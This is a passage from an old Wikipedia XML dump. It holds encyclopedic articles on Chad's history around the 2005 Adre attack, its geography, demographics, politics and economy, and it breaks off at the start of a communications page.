An attack on the Chadian town of [[Adre, Chad|Adre]] near the Sudanese border led to the deaths of either one hundred rebels, as every news source other than [[CNN]] has reported, or three hundred rebels. The Sudanese government was blamed for the attack, which was the [http://news.bbc.co.uk/1/hi/world/africa/4544352.stm second in the region in three days], but Sudanese foreign ministry spokesman [[Jamal Mohammed Ibrahim]] denies any Sudanese involvement, &quot;We are not for any escalation with Chad. We technically deny involvement in Chadian internal affairs.&quot; This attack was the final straw that led to the declaration of war by Chad and the alleged deployment of the [http://english.aljazeera.net/NR/exeres/AB24F0A9-8145-4E1E-96C7-3D8FC9641CC6.htm Chadian airforce into Sudanese airspace, which the Chadian government denies].

==References==
*{{loc}}

==See also==
*[[Chad]]
*[[Politics of Chad]]
*[[History of Africa]]

{{Africa in topic|History of}}

{{Former French colonies}}

[[Category:History by country|Chad]]
[[Category:History of Chad| ]]

[[es:Historia de Chad]]
[[fr:Histoire du Tchad]]
[[ja:チャドの歴史]]
[[nl:Geschiedenis van Tsjaad]]</text>
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  <page>
    <title>Geography of Chad</title>
    <id>5330</id>
    <revision>
      <id>41079174</id>
      <timestamp>2006-02-24T22:39:36Z</timestamp>
      <contributor>
        <username>Brian0918</username>
        <id>90640</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/64.6.156.230|64.6.156.230]] ([[User talk:64.6.156.230|talk]]) to last version by Lupo</comment>
      <text xml:space="preserve">[[Image:Chad Map.jpg|thumb|300px|right|Map of Chad]]
[[Chad]] is a land-locked country in north central [[Africa]] measuring 1,284,000 square kilometers (496,000 sq. mi.), roughly three times the size of [[California]]. Most of its ethnically and linguistically diverse population lives in the south, with densities ranging from 54 persons per square kilometers in the Logone River basin to 0.1 persons in the northern B.E.T. desert region, which is larger than France. The capital city of [[N'Djaména]], situated at the confluence of the [[Chari River|Chari]] and [[Logone River]]s, is cosmopolitan in nature, with a current population in excess of 700,000 persons.

Chad has four bioclimatic zones. The northernmost Saharan zone averages less than 200 mm (8 inches) of rainfall annually. The sparse human population is largely nomadic, with some livestock, mostly small ruminants and camels. The central Sahelian zone receives between 200 and 600 mm (24 inches) rainfall and has vegetation ranging from grass/shrub [[steppe]] to thorny, open savanna. The southern zone, often referred to as the Sudanian zone, receives between 600 and 1,000 mm (39 inches), with woodland [[savanna]] and deciduous forests for vegetation. Rainfall in the Guinea zone, located in Chad's southwestern tip, ranges between 1,000 and 1,200 mm (47 inches).

The country's topography is generally flat, with the elevation gradually rising as one moves north and east away from [[Lake Chad]]. The highest point in Chad is [[Emi Koussi]], a mountain that rises 3,100 meters (10,200 ft.) in the northern [[Tibesti Mountains]]. The [[Ennedi Plateau]] and the [[Ouaddaï highlands]] in the east complete the image of a gradually sloping basin, which descends towards Lake Chad. There are also central highlands in the Guera region rising to 1,500 meters (4,900 ft.).

[[Lake Chad]] is the second-largest lake in west Africa and is one of the most important wetlands on the continent. Home to 120 species of fish and at least that many species of birds, the lake has shrunk dramatically in the last four decades due to the increased water use and low rainfall. Bordered by Chad, [[Niger]], [[Nigeria]], and [[Cameroon]], Lake Chad currently covers only 1,350 square kilometers, down from 25,000 square kilometers in 1963. The Chari and Logone Rivers, both of which originate in the Central African Republic and flow northward, provide most of the water entering Lake Chad. 

'''Geographic coordinates:'''
{{coor d|15|N|19|E|}}

==Geographical setting==
Located in north-central Africa, Chad stretches for about 1,800 kilometers from its northernmost point to its southern boundary. Except in the far northwest and south, where its borders converge, Chad's average width is about 800 kilometers. Its area of 1,284,000 square kilometers is roughly equal to the combined areas of Idaho, Wyoming, Utah, Nevada, and Arizona. Chad's neighbors include Libya to the north, Niger and Nigeria to the west, Sudan to the east, Central African Republic to the south, and Cameroon to the southwest.

Chad exhibits two striking geographical characteristics. First, the country is landlocked. N'Djamena, the capital, is located more than 1,100 kilometers northeast of the Atlantic Ocean; Abéché, a major city in the east, lies 2,650 kilometers from the Red Sea; and Faya Largeau, a much smaller but strategically important center in the north, is in the middle of the Sahara Desert, 1,550 kilometers from the Mediterranean Sea. These vast distances from the sea have had a profound impact on Chad's historical and contemporary development. The second noteworthy characteristic is that the country borders on very different parts of the African continent: North Africa, with its Islamic culture and economic orientation toward the Mediterranean Basin; West Africa, with its diverse religions and cultures and its history of highly developed states and regional economies; Northeast Africa, oriented toward the Nile Valley and Red Sea region; and Central or Equatorial Africa, some of whose people have retained classical African religions while others have adopted Christianity, and whose economies were part of the great Zaire River system. Although much of Chad's distinctiveness comes from this diversity of influences, since independence the diversity has also been an obstacle to the creation of a national identity. 

==The Land==
Although Chadian society is economically, socially, and culturally fragmented, the country's geography is unified by the Lake Chad Basin. Once a huge inland sea (the Pale-Chadian Sea) whose only remnant is shallow Lake Chad, this vast depression extends west into Nigeria and Niger. The larger, northern portion of the basin is bounded within Chad by the Tibesti Mountains in the northwest, the Ennedi Plateau in the northeast, the Ouaddaï Highlands in the east along the border with Sudan, the Guéra Massif in central Chad, and the Mandara Mountains along Chad's southwestern border with Cameroon. The smaller, southern part of the basin falls almost exclusively in Chad. It is delimited in the north by the Guéra Massif, in the south by highlands 250 kilometers south of the border with Central African Republic, and in the southwest by the Mandara Mountains.

Lake Chad, located in the southwestern part of the basin at an altitude of 282 meters, surprisingly does not mark the basin's lowest point; instead, this is found in the Bodele and Djourab regions in the north-central and northeastern parts of the country, respectively. This oddity arises because the great stationary dunes (ergs) of the Kanem region create a dam, preventing lake waters from flowing to the basin's lowest point. At various times in the past, and as late as the 1870s, the Bahr el Ghazal Depression, which extends from the northeastern part of the lake to the Djourab, acted as an overflow canal; since independence, climatic conditions have made overflows impossible.

North and northeast of Lake Chad, the basin extends for more than 800 kilometers, passing through regions characterized by great rolling dunes separated by very deep depressions. Although vegetation holds the dunes in place in the Kanem region, farther north they are bare and have a fluid, rippling character. From its low point in the Djourab, the basin then rises to the plateaus and peaks of the Tibesti Mountains in the north. The summit of this formation--as well as the highest point in the Sahara Desert--is Emi Koussi, a dormant volcano that reaches 3,414 meters above sea level. The basin's northeastern limit is the Ennedi Plateau, whose limestone bed rises in steps etched by erosion.

East of the lake, the basin rises gradually to the Ouaddaï Highlands, which mark Chad's eastern border and also divide the Chad and Nile watersheds. Southeast of Lake Chad, the regular contours of the terrain are broken by the Guéra Massif, which divides the basin into its northern and southern parts.

South of the lake lie the floodplains of the Chari and Logone rivers, much of which are inundated during the rainy season. Farther south, the basin floor slopes upward, forming a series of low sand and clay plateaus, called koros, which eventually climb to 615 meters above sea level. South of the Chadian border, the koros divide the Lake Chad Basin from the Ubangi-Zaire river system. 

==Water systems==
Permanent streams do not exist in northern or central Chad. Following infrequent rains in the Ennedi Plateau and Ouaddaï Highlands, water may flow through depressions called enneris and wadis. Often the result of flash floods, such streams usually dry out within a few days as the remaining puddles seep into the sandy clay soil. The most important of these streams is the Batha, which in the rainy season carries water west from the Ouaddaï Highlands and the Guéra Massif to Lake Fitri.

Chad's major rivers are the Chari and the Logone and their tributaries, which flow from the southeast into Lake Chad. Both river systems rise in the highlands of Central African Republic and Cameroon, regions that receive more than 1,250 millimeters of rainfall annually. Fed by rivers of Central African Republic, as well as by the Bahr Salamat, Bahr Aouk, and Bahr Sara rivers of southeastern Chad, the Chari River is about 1,200 kilometers long. From its origins near the city of Sarh, the middle course of the Chari makes its way through swampy terrain; the lower Chari is joined by the Logone River near N'Djamena. The Chari's volume varies greatly, from 17 cubic meters per second during the dry season to 340 cubic meters per second during the wettest part of the year.

The Logone River is formed by tributaries flowing from Cameroon and Central African Republic. Both shorter and smaller in volume than the Chari, it flows northeast for 960 kilometers; its volume ranges from five to eighty-five cubic meters per second. At N'Djamena the Logone empties into the Chari, and the combined rivers flow together for thirty kilometers through a large delta and into Lake Chad. At the end of the rainy season in the fall, the river overflows its banks and creates a huge floodplain in the delta.

The seventh largest lake in the world (and the fourth largest in Africa), Lake Chad is located in the sahelian zone, a region just south of the Sahara Desert. The Chari River contributes 95 percent of Lake Chad's water, an average annual volume of 40 billion cubic meters, 95% of which is lost to evaporation. The size of the lake is determined by rains in the southern highlands bordering the basin and by temperatures in the Sahel. Fluctuations in both cause the lake to change dramatically in size, from 9,800 square kilometers in the dry season to 25,500 at the end of the rainy season. Lake Chad also changes greatly in size from one year to another. In 1870 its maximum area was 28,000 square kilometers. The measurement dropped to 12,700 in 1908. In the 1940s and 1950s, the lake remained small, but it grew again to 26,000 square kilometers in 1963. The droughts of the late 1960s, early 1970s, and mid-1980s caused Lake Chad to shrink once again, however. The only other lakes of importance in Chad are Lake Fitri, in Batha Prefecture, and Lake Iro, in the marshy southeast. 

==Climate==
The Lake Chad Basin embraces a great range of tropical climates from north to south, although most of these climates tend to be dry. Apart from the far north, most regions are characterized by a cycle of alternating rainy and dry seasons. In any given year, the duration of each season is determined largely by the positions of two great air masses--a maritime mass over the Atlantic Ocean to the southwest and a much drier continental mass. During the rainy season, winds from the southwest push the moister maritime system north over the African continent where it meets and slips under the continental mass along a front called the &quot;intertropical convergence zone&quot;. At the height of the rainy season, the front may reach as far as Kanem Prefecture. By the middle of the dry season, the intertropical convergence zone moves south of Chad, taking the rain with it. This weather system contributes to the formation of three major regions of climate and vegetation.

===Saharan region===
The Saharan region covers roughly the northern third of the country, including Borkou-Ennedi-Tibesti Prefecture along with the northern parts of Kanem, Batha, and Biltine prefectures (see fig. 1). Much of this area receives only traces of rain during the entire year; at Faya Largeau, for example, annual rainfall averages less than three centimeters. Scattered small oases and occasional wells provide water for a few date palms or small plots of millet and garden crops. In much of the north, the average daily maximum temperature is about 32 °C during January, the coolest month of the year, and about 45 °C during May, the hottest month. On occasion, strong winds from the northeast produce violent sandstorms. In northern Biltine Prefecture, a region called the Mortcha plays a major role in animal husbandry. Dry for nine months of the year, it receives 350 millimeters or more of rain, mostly during July and August. A carpet of green springs from the desert during this brief wet season, attracting herders from throughout the region who come to pasture their cattle and camels. Because very few wells and springs have water throughout the year, the herders leave with the end of the rains, turning over the land to the antelopes, gazelles, and ostriches that can survive with little groundwater.

===Sahelian region===
The semiarid sahelian zone, or Sahel, forms a belt about 500 kilometers wide that runs from Lac and Chari-Baguirmi prefectures eastward through Guéra, Ouaddaï, and northern Salamat prefectures to the Sudanese frontier. The climate in this transition zone between the desert and the southern soudanian zone is divided into a rainy season (from June to early September) and a dry period (from October to May). In the northern Sahel, thorny shrubs and acacia trees grow wild, while date palms, cereals, and garden crops are raised in scattered oases. Outside these settlements, nomads tend their flocks during the rainy season, moving southward as forage and surface water disappear with the onset of the dry part of the year. The central Sahel is characterized by drought-resistant grasses and small woods. Rainfall is more abundant there than in the Saharan region. For example, N'Djamena records a maximum annual average rainfall of 580 millimeters, while Ouaddaï Prefecture receives just a bit less. During the hot season, in April and May, maximum temperatures frequently rise above 40 °C. In the southern part of the Sahel, rainfall is sufficient to permit crop production on unirrigated land, and millet and sorghum are grown. Agriculture is also common in the marshlands east of Lake Chad and near swamps or wells. Many farmers in the region combine subsistence agriculture with the raising of cattle, sheep, goats, and poultry.

===Soudanian region===
The humid ''soudanian'' zone includes the southern prefectures of Mayo-Kebbi, Tandjilé, Logone Occidental, Logone Oriental, Moyen-Chari, and southern Salamat. Between April and October, the rainy season brings between 750 and 1,250 millimeters of precipitation. Temperatures are high throughout the year. Daytime readings in Moundou, the major city in the southwest, range from 27 °C in the middle of the cool season in January to about 40 °C in the hot months of March, April, and May.

The soudanian region is predominantly savanna, or plains covered with a mixture of tropical or subtropical grasses and woodlands. The growth is lush during the rainy season but turns brown and dormant during the five-month dry season between November and March. Over a large part of the region, however, natural vegetation has yielded to agriculture. 

==Area==
'''Area:'''
&lt;br&gt;''total:''
1.284 million km²
&lt;br&gt;''land:''
1,259,200 km²
&lt;br&gt;''water:''
24,800 km²

'''Area - comparative:'''
slightly more than three times the size of [[California]]

==Boundaries==
'''Land boundaries:'''
&lt;br&gt;''total:''
5,968 km
&lt;br&gt;''border countries:''
[[Cameroon]] 1,094 km, [[Central African Republic]] 1,197 km, Libya 1,055 km, [[Niger]] 1,175 km, [[Nigeria]] 87 km, [[Sudan]] 1,360 km

'''Coastline:'''
0 km (landlocked)

'''Maritime claims:'''
none (landlocked)

'''Elevation extremes:'''
&lt;br&gt;''lowest point:''
[[Djourab Depression]] 160 m
&lt;br&gt;''highest point:''
[[Emi Koussi]] 3,415 m

==Land use and resources==
'''Natural resources:'''
[[petroleum]], [[uranium]], [[natron]], [[kaolin]], [[fish]] ([[Chari River]], [[Logone River]] and [[Lake Chad]])

'''Land use:'''
&lt;br&gt;''arable land:''
3%
&lt;br&gt;''permanent crops:''
0%
&lt;br&gt;''permanent pastures:''
36%
&lt;br&gt;''[[forests]] and woodland:''
26%
&lt;br&gt;''other:''
35% (1993 est.)

'''Irrigated land:'''
140 km² (1993 est.)

==Environmental issues==
'''Natural hazards:'''
hot, dry, dusty harmattan winds occur in north; periodic droughts; locust plagues

'''Environment - current issues:'''
inadequate supplies of potable water; improper waste disposal in rural areas contributes to soil and water pollution; desertification

'''Environment - international agreements:'''
&lt;br&gt;''party to:''
[[Biodiversity]], [[United Nations Framework Convention on Climate Change|Climate Change]], [[Desertification]], [[Endangered Species]], [[Nuclear Test Ban]], [[Ozone Layer Protection]], [[Wetlands]]
&lt;br&gt;''signed, but not ratified:''
[[Law of the Sea]], [[Marine Dumping]]

'''Geography - note:'''
landlocked; [[Lake Chad]] is the most significant water body in the [[Sahel]]



==Sources==
*[http://lcweb2.loc.gov/frd/cs/cshome.html Library of Congress, Country Studies]

{{Africa in topic|Geography of}}

{{CIAfb}}

[[Category:Geography by country|Chad]]
[[Category:Geography of Chad| ]]

[[pt:Geografia do Chade]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Chad</title>
    <id>5331</id>
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      <timestamp>2006-02-12T19:18:46Z</timestamp>
      <contributor>
        <ip>83.121.2.141</ip>
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      <comment>disambiguation from [[FAO]] to [[Food and Agriculture Organization]] by the [[User:DabMachine|DabMachine]]</comment>
      <text xml:space="preserve">[[Image:Chad-demography.png|thumb|300px|right|Demographics of Chad, Data of [[Food and Agriculture Organization|FAO]], year 2005 ; Number of inhabitants in thousands.]]
The people of [[Chad]] speak more than 100 different languages and divide themselves into many ethnic groups. It is important to note, however, that language and ethnicity are not the same. Moreover, neither element can be tied to a particular physical type. In Chad, [[Europe]]an conquest and administration intensified feelings of ethnic separateness by drawing local boundaries along perceived ethnic lines. The Europeans also appointed chiefs and other local African authorities who had little legitimacy over the groups they were to lead. In general, the [[France|French]] favored southerners over northerners and settled populations over nomads. This bias continued after independence and has been an important element in internecine conflict. 

Although the possession of a common language shows that its speakers have lived together and have a common history, peoples also change languages. This is particularly so in Chad, where the openness of the terrain, marginal rainfall, frequent drought and famine, and low population densities have encouraged physical and linguistic mobility. Slave raids among non-Muslim peoples, internal slave trade, and exports of captives northward from the ninth to the twentieth centuries also have resulted in language changes. 

Anthropologists view ethnicity as being more than genetics. Like language, ethnicity implies a shared heritage, partly economic, where people of the same ethnic group may share a livelihood, and partly social, taking the form of shared ways of doing things and organizing relations among individuals and groups. Ethnicity also involves a cultural component made up of shared values and a common worldview. Like language, ethnicity is not immutable. Shared ways of doing things change over time and alter a group's perception of its own identity. 

Not only do the social aspects of ethnic identity change but the biological composition (or gene pool) also may change over time. Although most ethnic groups emphasize intermarriage, people are often proscribed from seeking partners among close relatives -- a prohibition that promotes biological variation. In all groups, the departure of some individuals or groups and the integration of others also changes the biological component. 

The Chadian government has avoided official recognition of ethnicity. With the exception of a few surveys conducted shortly after independence, little data were available on this important aspect of Chadian society. Nonetheless, ethnic identity was a significant component of life in Chad. 

Chad's languages fall into ten major groups, each of which belongs to either the 
[[Nilo-Saharan]], [[Afro-Asiatic]], or [[Congo-Kordofanian]] language family. These represent three of the four major language families in Africa; only the [[Khoisan]] languages of southern Africa are not represented. The presence of such different languages suggests that the [[Lake Chad]] Basin may have been an important point of dispersal in ancient times.

==Religions==
The separation of religion from social structure in Chad represents a false dichotomy, for they are perceived as two sides of the same coin. Three religious traditions coexist in Chad-- classical African religions, [[Islam]] (see [[Islam in Chad]]), and [[Christianity]]. None is monolithic. The first tradition includes a variety of ancestor and/or place-oriented religions whose expression is highly specific. Islam, although characterized by an orthodox set of beliefs and observances, also is expressed in diverse ways. Christianity arrived in Chad much more recently with the arrival of Europeans. Its followers are divided into Roman Catholics and Protestants (including several denominations); as with Chadian Islam, Chadian Christianity retains aspects of pre-Christian religious belief. 

The number of followers of each tradition in Chad is unknown. Estimates made in 1962 suggested that 35 percent of Chadians practiced classical African religions, 55 percent were [[Islam|Muslims]], and 10 percent were [[Christianity|Christians]]. In the 1970s and 1980s, this distribution undoubtedly changed. Observers report that Islam has spread among the [[Hajerai]] and among other non-Muslim populations of the Saharan and sahelian zones. However, the proportion of Muslims may have fallen because the birthrate among the followers of traditional religions and Christians in southern Chad is thought to be higher than that among Muslims. In addition, the upheavals since the mid-1970s have resulted in brought the departure of some missionaries; whether or not Chadian Christians have been numerous enough and organized enough to have attracted more converts since that time is unknown.

==Demographic data from the CIA World Factbook==

===Population===
:9,826,419 (July 2005 est.)

===Age structure===
:0-14 years: 47.9% (male 2,365,277/female 2,337,388)
:15-64 years: 49.4% (male 2,323,110/female 2,528,086)
:65 years and over: 2.8% (male 109,535/female 163,023) (2005 est.)

===Median age===
:Total: 16.02 years
:Male: 15.32 years
:Female: 16.71 years (2005 est.)

===Population growth rate===
:2.95% (2005 est.)

===Birth rate===
:45.98 births/1,000 population (2005 est.)

===Death rate===
:16.41 deaths/1,000 population (2005 est.)

===Net migration rate===
:-0.11 migrant(s)/1,000 population (2005 est.)

===Sex ratio===
:At birth: 1.04 male(s)/female
:Under 15 years: 1.01 male(s)/female
:15-64 years: 0.92 male(s)/female
:65 years and over: 0.67 male(s)/female
:Total population: 0.95 male(s)/female (2005 est.)

===Infant mortality rate===
:Total: 93.82 deaths/1,000 live births
:Male: 103.03 deaths/1,000 live births
:Female: 84.24 deaths/1,000 live births (2005 est.)

===Life expectancy at birth===
:Total population: 47.94 years
:Male: 46.84 years
:Female: 49.09 years (2005 est.)

===Total fertility rate===
:6.32 children born/woman (2005 est.)

===HIV/AIDS===
:Adult prevalence rate: 0.8% (2003 est.)
:People living with HIV/AIDS: 20,000(2003 est.)
:Deaths: 1,800 (2003 est.)

===Major infectious diseases===
:Degree of risk: very high
:Food or waterborne diseases: bacterial and protozoal diarrhea, hepatitis A, and typhoid fever
:Vectorborne disease: malaria
:Water contact disease: schistosomiasis
:Respiratory disease: meningococcal meningitis (2004)

===Nationality===
:Noun: Chadian(s)
:Adjective: Chadian

===Ethnic groups===
:200 distinct groups; in the north and center: Arabs, Gorane ([[Toubou]], Daza, Kreda), Zaghawa, Kanembou, Ouaddai, Baguirmi, Hadjerai, Fulbe, Kotoko, Hausa, Boulala, and Maba, most of whom are Muslim; in the south: [[Sara people|Sara]] (Ngambaye, Mbaye, Goulaye), Moundang, Moussei, Massa, most of whom are Christian or animist; about 1,000 French citizens live in Chad

===Religions===
:[[Muslim]] 51%, [[Christian]] 35%, [[animist]] 7%, other 7%

===Languages===
:French (official), Arabic (official), [[Sara language|Sara]] (in south), more than 120 different languages and dialects

===Literacy===
:Definition: age 15 and over can read and write French or Arabic
:Total population: 47.5%
:Male: 56%
:Female: 39.3% (2003 est.)

==References==
{{CIAfb}}

{{Africa in topic|Demographics of}}

[[Category:Geography of Chad]]
[[Category:Chadian society]]
[[Category:Demographics by country|Chad]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Chad</title>
    <id>5332</id>
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        <username>Bobblewik</username>
        <id>51235</id>
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      <minor />
      <comment>reduce linking to date elements</comment>
      <text xml:space="preserve">{{election chad}}
A strong executive branch headed by President [[Idriss Déby]] dominates the [[Chad]]ian political system. Following his military overthrow of [[Hissène Habré]] in December 1990, Déby won presidential elections in 1996 and 2001. The constitutional basis for the government is the 1996 constitution, under which the president was limited to two terms of office until Déby had that provision repealed in 2005. The president has the power to appoint the prime minister and the Council of State (or cabinet), and exercises considerable influence over appointments of judges, generals, provincial officials and heads of Chad&amp;rsquo;s parastatal firms. In cases of grave and immediate threat, the president, in consultation with the National Assembly President and Council of State, may declare a state of emergency. Most of the Déby's key advisors are members of the [[Zaghawa]] clan, although some southern and opposition personalities are represented in his government.

According to the 1996 constitution, National Assembly deputies are elected by universal suffrage for 4-year terms. Parliamentary elections are scheduled for spring 2002. The Assembly holds regular sessions twice a year, starting in March and October, and can hold special sessions as necessary and called by the prime minister. Deputies elect a president of the National Assembly every 2 years. Assembly deputies or members of the executive branch may introduce legislation; once passed by the Assembly, the president must take action to either sign or reject the law within 15 days. The National Assembly must approve the prime minister&amp;rsquo;s plan of government and may force the prime minister to resign through a majority vote of no-confidence. However, if the National Assembly rejects the executive branch&amp;rsquo;s program twice in one year, the president may disband the Assembly and call for new legislative elections. In practice, the president exercises considerable influence over the National Assembly through the MPS party structure.

Despite the constitution&amp;rsquo;s guarantee of judicial independence from the executive branch, the president names most key judicial officials. The Supreme Court is made up of a chief justice, named by the president, and 15 councilors chosen by the president and National Assembly; appointments are for life. The Constitutional Council, with nine judges elected to 9-year terms, has the power to review all legislation, treaties and international agreements prior to their adoption. The constitution recognizes customary and traditional law in locales where it is recognized and to the extent it does not interfere with public order or constitutional guarantees of equality for all citizens. 

== Government ==
'''Country name:'''
&lt;br&gt;''conventional long form:''
Republic of Chad
&lt;br&gt;''conventional short form:''
Chad
&lt;br&gt;''local long form:''
Republique du Tchad
&lt;br&gt;''local short form:''
Tchad

'''Data code:'''
CD

'''Government type:'''
republic

'''Capital:'''
[[N'Djamena]]

'''Administrative divisions:'''
14 prefectures ([[prefecture]]s, singular - prefecture); Batha, Biltine, Borkou-Ennedi-Tibesti, Chari-Baguirmi, Guera, Kanem, Lac, Logone Occidental, Logone Oriental, Mayo-Kebbi, Moyen-Chari, Ouaddai, Salamat, Tandjile

'''Independence:'''
[[11 August]] [[1960]] (from France)

'''National holiday:'''
Independence Day, [[11 August]] (1960)

'''Constitution:'''
passed by referendum [[31 March]] [[1996]]

'''Legal system:'''
based on French civil law system and Chadian customary law; does not accept compulsory ICJ jurisdiction

'''Suffrage:'''
18 years of age; universal

'''Executive branch:'''
&lt;br&gt;''chief of state:''
President Lt. Gen. Idriss DEBY (since [[4 December]] [[1990]])
&lt;br&gt;''head of government:''
Prime Minister Pascal YOADIMNADJI (since [[3 February]] [[2005]])
&lt;br&gt;''cabinet:''
Council of State, members appointed by the president on the recommendation of the prime minister
&lt;br&gt;''elections:''
president elected by popular vote to serve five-year terms; if no candidate receives at least 50% of the total vote, the two candidates receiving the most votes must stand for a second round of voting; last held [[20 May]] [[2001]] (next to be held [[2006]]); prime minister appointed by the president
&lt;br&gt;''election results:''
Lt. Gen. Idriss DEBY reelected president; percent of vote - Lt. Gen. Idriss DEBY 63%, Ngarlegy YORONGAR 16%, Saleh KEBZABO 7%


'''Legislative branch:'''
bicameral according to constitution, consists of a National Assembly (155 seats; members elected by popular vote to serve four-year terms) and a Senate (not yet created and size unspecified, members to serve six-year terms, one-third of membership renewable every two years)
&lt;br&gt;''elections:''
National Assembly - last held [[21 April]] [[2002]] (next to be held in April [[2006]])
&lt;br&gt;''election results:''
percent of vote by party - NA%; seats by party - MPS 110, RDP 12, FAR 9, RNDP 5, URD 5, UNDR 3, others 11

'''Judicial branch:'''
Supreme Court; Court of Appeal; Criminal Courts; Magistrate Courts

'''Political parties and leaders:'''
Federation Action for the Republic or FAR [Ngarlejy YORONGAR]; National Rally for Development and Progress or RNDP [Mamadou BISSO]; National Union for Democracy and Renewal or UNDR [Saleh KEBZABO]; Patriotic Salvation Movement or MPS [Mahamat Saleh AHMAT, chairman]; Rally for Democracy and Progress or RDP [Lol Mahamat CHOUA]; Union for Renewal and Democracy or URD [Gen. Wadal Abdelkader KAMOUGUE]; Viva Rally for Development and Progress or Viva RNDP [Delwa Kassire COUMAKOYE]

'''International organization participation:'''
ACCT, ACP, AfDB, AU, BDEAC, CEMAC, FAO, FZ, G-77, IBRD, ICAO, ICCt (signatory), ICFTU, ICRM, IDA, IDB, IFAD, IFC, IFRCS, ILO, IMF, Interpol, IOC, ITU, MIGA, NAM, OIC, ONUB, OPCW, UN, UNCTAD, UNESCO, UNIDO, UNOCI, UPU, WCL, WHO, WIPO, WMO, WToO, WTO

'''Flag description:'''
three equal vertical bands of blue (hoist side), yellow, and red; similar to the flag of Romania; also similar to the flags of Andorra and Moldova, both of which have a national coat of arms centered in the yellow band; design was based on the flag of France

:''See also :'' [[Chad]]

{{Africa in topic|Politics of}}
[[Category:Politics of Chad| ]]

[[fr:Politique du Tchad]]
[[pt:Política do Chade]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Chad</title>
    <id>5333</id>
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      <text xml:space="preserve">{{CIA}}
{{Economy of Chad table}}
'''Economy - overview:'''
Landlocked [[Chad]]'s economic development suffers from its geographic remoteness, drought, lack of infrastructure, and political turmoil. About 85% of the population depends on agriculture, including the herding of livestock. Of Africa's Francophone countries, Chad benefited least from the 50% devaluation of their currencies in January 1994. Financial aid from the [[World Bank]], the [[African Development Fund]], and other sources is directed largely at the improvement of [[agriculture]], especially [[livestock]] production. Due to lack of financing, the development of the [[Doba Basin]] [[oil field]]s, originally due to finish in 2000, has been substantially delayed.

In 2000, Chad's nominal [[Gross domestic product|GDP]] was estimated at just over $1.43 billion with [[per capita income]] at approximately $188. Cotton, cattle and gum arabic are Chad&amp;rsquo;s major exports. More than 80% of the work force is involved in agriculture (subsistence farming, herding, and fishing). Like many other developing countries, Chad has a small formal sector and a large, thriving informal sector. Government statistics indicate the following distribution: Agriculture--38% (farming--23%, livestock--12%, fishing--3%); industry--13%; and services--45%. Chad is highly dependent on foreign assistance. Its principal donors include the European Union, France, and the multilateral lending agencies.

Primary markets for Chadian exports include neighboring Cameroon and Nigeria and France, Germany, and Portugal. At present, cotton plays the dominant role, accounting for 40% of total exports in 1999. Rehabilitation of CotonTchad, the major cotton company that suffered from a decline in world cotton prices, has been financed by [[France]], the [[Netherlands]], the [[European Economic Community]] (EC), and the [[International Bank for Reconstruction and Development]] (IBRD). As of January 2002, the [[parastatal]] was undergoing [[privatization]].

The other major export is livestock, herded to neighboring countries. Herdsmen in the Sudanic and Sahelian zones raise cattle, sheep, goats, and, among the non-Muslims, a few pigs. In the Saharan region, only camels and a few hardy goats can survive. Chad also sells smoked and dried fish to its neighbors and exports several million dollars worth of gum arabic to Europe and the U.S. each year. Other food crops include millet, sorghum, peanuts, rice, sweet potatoes, manioc, cassava, and yams.

Chad&amp;rsquo;s economic performance continues to depend on fluctuations in rainfall and in prices of its principal export commodities, especially cotton. Between 1996 and 1998, the Chadian economy averaged 4.7% growth from. However, unfavorable weather conditions contributed to disappointing harvests in 1999-2000, and GDP grew only by 1% and 0.6% respectively. Inflation was estimated 3.7% in 2000 after prices fell by 8% in 1999.

Since 1995, the Government of Chad (GOC) has made incremental progress in implementing structural reforms and improving government finances under two successive structural adjustment programs. Most state enterprises have been partially or completely privatized, nonpriority public spending has been lessened and the government has gradually liberalized some key sectors of the economy. Liberalization of the telecommunications, cotton and energy sectors is expected to proceed over the next several years. In May 2001, the IMF announced that Chad would qualify for the [[Heavily Indebted Poor Countries]] (HIPC) debt relief initiative.

The effects on foreign investment of years of civil war are still felt today, as investors who left Chad between 1979-82 have only recently begun to regain confidence in the country's future. By early 1983, the return of internal security and a successful Geneva donors' conference had prompted a number of international business representatives to make exploratory visits to Chad. By far the most important venture to date is the oil extraction project in southern Chad.

Beginning in late 2000, the Doba Basin oil project has stimulated major investments into Chad and it is expected to double government tax revenues by 2004. It is hoped that this project will serve as a catalyst for the entire economy by helping to reduce energy costs and attract additional trade and investment in other sectors. The question remains whether Chad will continue to consolidate its economic reforms and invest its oil revenues wisely in order to encourage a wider range of economic initiatives. Recent political controversy surrounding the contested 2001 presidential election and a continuing rebellion in northern Chad have continued to dampen Chad's economic prospects by exposing the weaknesses in Chad's political institutions.

The [[International Monetary Fund]] has projected high growth rates during the next 3 years, as the Doba basin oil project in southern Chad accelerates. The [[Exxon Mobil]]-led project will pump oil from reserves in Chad through an underground pipeline to coastal Cameroon, where it will be loaded onto tankers. Following a crucial World Bank financing decision in June 2000, the Doba project officially began its construction phase in October 2000. Between 2000 and 2003, an American-led consortium will invest $3.7 billion into the project, approximately $2 billion of which will be invested in Chad. By the year 2003-04 the consortium plans to produce between 150,000 to 250,000 barrels of oil a day from three fields in southern Chad. The project is expected to provide between $80 and $100 million in annual government revenues during the 25-year production phase. However, despite this economic growth, many environmentalists and African NGOs fear that the project will lead to grave environmental damage and the dominance of the Chadian economy by foreign powers.

As of 2004 the economy of Chad has been subjected to further pressure due to fleeing [[refugees]] from the conflict in the neighbouring [[Darfur]] region of [[Sudan]].
  

==See also==
* [[Chad]]
* [[Economy of Africa]]
==References==
*[http://www.cia.gov/cia/publications/factbook/geos/cd.html CIA World Factbook]

==External links==
*[http://dmoz.org/Regional/Africa/Chad/Business_and_Economy/Economic_Development Open Directory Project - Chad Economic Development] directory category
*[http://web.worldbank.org/WBSITE/EXTERNAL/EXTSITETOOLS/0,,contentMDK:20263700~menuPK:534320~pagePK:98400~piPK:98424~theSitePK:95474,00.html#6 World Bank -- Chad-Cameroon Pipeline Project]

{{WTO}}
[[Category:Economy of Chad| ]]
 [[Category:African Union member economies|Chad]]
[[Category:WTO members|Chad]]
[[fr:Économie du Tchad]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Chad</title>
    <id>5334</id>
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      <id>29727182</id>
      <timestamp>2005-11-30T20:41:44Z</timestamp>
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      <comment>disambiguation link repair [[broadcast]] ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
11,800 (2002)

